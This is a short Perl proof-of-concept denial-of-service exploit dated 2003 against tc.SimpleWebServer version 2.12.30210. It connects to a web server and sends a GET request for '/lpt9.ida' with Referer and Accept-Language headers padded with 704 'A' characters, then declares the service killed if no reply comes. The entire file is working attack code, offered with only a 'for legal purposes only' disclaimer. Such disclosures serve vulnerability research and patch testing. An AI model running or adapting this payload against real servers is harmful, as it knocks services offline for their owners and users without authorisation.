#!/usr/local/bin/perl
#
# Simple DoS exploit for tc.SimpleWebServer   
#
# Vulnerable version: Version 2.12.30210 Build 3285
#
# For legal purposes only !
#
# 27.10.2003 - Oliver Karow - oliver.karow[AT]gmx.de

use IO::Socket;

$ip="127.0.0.1";
$port=80;

$var="A" x 704;

$mySocket=IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$ip,PeerPort=>$port, Timeout=>5);
$mySocket->autoflush(1);
  
print $mySocket "GET /lpt9.ida?x=x HTTP/1.1\r\n".
                "Accept: */* \r\n".
		    "Referer: ".$var."\r\n".
                "Accept-Language: ".$var."\r\n\r\n"; 

@answer=<$mySocket>;
$length=@answer;
if ($length==0){die "\nService killed!\n";}
print @answer;